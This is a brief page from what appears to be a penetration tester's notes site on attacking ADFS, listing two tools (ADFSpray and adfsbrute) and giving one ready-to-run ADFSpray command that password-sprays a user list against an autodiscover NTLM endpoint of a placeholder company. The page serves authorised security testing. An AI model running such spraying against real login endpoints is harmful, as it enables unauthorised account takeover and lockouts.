> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/perimeter/adfs.md).

# ADFS

## Tools

### ADFSpray

* <https://github.com/xFreed0m/ADFSpray>

Spray at autodiscover (NTLM auth) endpoint:

```
$ python3 ADFSpray.py -U users.txt -p 'Passw0rd!' -t 'https://autodiscover.megacorp.com/autodiscover/autodiscover.xml' autodiscover
```

### adfsbrute

* <https://github.com/ricardojoserf/adfsbrute>